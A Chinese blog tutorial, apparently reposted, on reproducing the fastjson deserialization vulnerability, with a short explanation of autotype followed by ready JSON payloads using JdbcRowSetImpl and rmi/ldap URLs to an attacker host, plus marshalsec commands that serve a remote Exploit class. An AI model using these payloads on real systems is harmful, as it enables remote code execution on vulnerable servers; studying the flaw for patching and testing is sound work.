概述
目录
前言
一、漏洞原理
二、漏洞复现
2.1 fastjson<=1.2.24
2.2 1.2.24<=fastjson<=1.2.47
2.2.1 在攻击机上编译类
2.2.2 开启rmi和ldap服务
2.2.3 写入poc
参考资料
前言
fastjson是阿里开发的json解析库,可以将java对象解析为json,也可以将json反序列化为java对象,主要用json.parse()方法进行反序列化。
一、漏洞原理
由于fastjson存在autotype功能,若开启了autotype功能(即autoTypeSupport=True),那么就可以引用@type指定反序列化的类,而若类中使用了json.parse()反序列化了恶意数据,那么就会造成任意代码执行。
二、漏洞复现
2.1 fastjson<=1.2.24
可以直接抓包发送@type格式的json数据,fastjson会调用指定的类然后运行远程恶意class文件
如{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
指定反序列化com.sun.rowset.JdbcRowSetImpl类,然后利用rmi远程获取poc执行恶意代码。
2.2 1.2.24<=fastjson<=1.2.47
这时fastjson默认不开启autotype功能,导致无法直接指定类,我们需要使用java.lang.class指定类放入缓存中,然后fastjson会直接调用缓存中的类,从而绕过黑名单检测
2.2.1 在攻击机上编译类
Exploit.java(命令可以随意更改)
编译成Exploit.class
javac Exploit.java
2.2.2 开启rmi和ldap服务
在攻击机上开启rmi或者ldap服务,可以使用marshalsec开启
https://github.com/mbechler/marshalsec
下载下来以后使用maven打包
mvn clean package -DskipTests
把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传攻击机上,
启动rmi和ldap服务,将result重定向到Exploit服务器目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
2.2.3 写入poc
接着在在服务器上用burp抓包,输入json格式的poc
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:9999/Exploit", //这里可以换做ldap://x.x.x.x:9999/Exploit
"autoCommit": true
}
}
这里rmi用不了,换成ldap就可以了
参考资料
Fastjson反序列化漏洞利用 - 简书 (jianshu.com)
最后
以上就是细腻香菇为你收集整理的fastjson反序列化漏洞目录前言一、漏洞原理二、漏洞复现参考资料的全部内容,希望文章能够帮你解决fastjson反序列化漏洞目录前言一、漏洞原理二、漏洞复现参考资料所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复